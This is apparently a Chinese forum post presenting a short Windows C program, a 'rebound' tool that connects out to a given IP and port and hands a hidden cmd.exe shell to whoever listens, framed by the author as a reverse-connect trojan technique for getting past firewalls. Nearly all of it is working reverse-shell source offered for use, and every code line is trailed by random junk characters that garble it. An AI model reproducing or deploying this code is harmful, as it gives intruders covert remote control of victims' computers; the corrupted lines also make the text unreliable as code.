这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 A3pQ?d[
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/* ============================== 9cj-v}5j
Rebound port in Windows NT \^LR5S&
By wind,2006/7 {/!Gh\i
===============================*/ HZ=yfJs nc
#include g|_*(=Q
#include ?R:Hj=.
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#pragma comment(lib,"wsock32.lib") 'oL[rO~j
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void OutputShell(); c6)zx
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SOCKET sClient; o:\a
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; O^%ace1
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void main(int argc,char **argv) K!gFD
{ ^v|!(h\ZC
WSADATA stWsaData; Hv*O9!cC
int nRet; x,_Ucc.
SOCKADDR_IN stSaiClient,stSaiServer; |YFlJ2w
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if(argc != 3) +0 |0X {v
{ }TL"v|ny6;
printf("Useage:\n\rRebound DestIP DestPort\n"); Z+4Oaf!
return; FCJ(D!
} 3U$fMLx]k
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WSAStartup(MAKEWORD(2,2),&stWsaData); ?EAqv]
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,SwaDWNO
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stSaiClient.sin_family = AF_INET; IpmREl$j
stSaiClient.sin_port = htons(0); h8Si,W3o
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); b7j#a#
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9Wrclai
{ 9<mj@bI$
printf("Bind Socket Failed!\n"); GqxK|G1
return; ?%ntO]
} x=N;>
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stSaiServer.sin_family = AF_INET; P[i/o#
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ix`x dVj`
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^dD?riFAk
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) T9?_ `h
{ 9`&D
printf("Connect Error!"); O9)8a]
return; N*>; '
} Z Uv_u6aD
OutputShell(); R&xd
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} rzLlM
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void OutputShell() Yg.u8{H
{ +8I0.,'
char szBuff[1024]; }3lF;k(2g
SECURITY_ATTRIBUTES stSecurityAttributes; 7yl'!uz)9
OSVERSIONINFO stOsversionInfo; 92Iv'(1ba
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "O
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STARTUPINFO stStartupInfo; f}eVfAf
char *szShell; 5GkM7Zu!{j
PROCESS_INFORMATION stProcessInformation; Z5A<TC/:
unsigned long lBytesRead; w2[R&hJ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Lp=B? H
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^XVa!s,d
stSecurityAttributes.lpSecurityDescriptor = 0; $*R9LPpk+
stSecurityAttributes.bInheritHandle = TRUE; UxtZBNn8
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Cj9Tj'0@I+
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); XZGyh X7
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'QU ?O[CH
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W9~datIh>
stStartupInfo.wShowWindow = SW_HIDE; 17d$gZ1O:
stStartupInfo.hStdInput = hReadPipe; ;@hP*7Lm
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r1]^#&V;MC
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GetVersionEx(&stOsversionInfo); w"|c;E1;_
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switch(stOsversionInfo.dwPlatformId) b}*hodzF
{ 6:pN?|=6X
case 1: Y~!@
szShell = "command.com"; v%^H9aK_
break; }=FQKqtC
default: fHi+PEbR
szShell = "cmd.exe"; j Xf-+;ZQ
break; W+X
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} f?6=H^_>
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &IYkeGQr
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send(sClient,szMsg,77,0); {5h_$a!TaU
while(1) (%Rs&/vU~
{ ~fe0Ba4
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3Y8
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if(lBytesRead) Z#04 ]
{ Tw5BvB1
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4r*6fJ*bJ
send(sClient,szBuff,lBytesRead,0); cS"6%:hQ
} 76/%Py|
else , +^db)
{ OHw6#N$\
lBytesRead=recv(sClient,szBuff,1024,0); 9'M_t Mm5
if(lBytesRead<=0) break; I j /J
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =g:\R$lQ
} jg(A_V
} X1"nq]chGy
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return; nDvWOt
}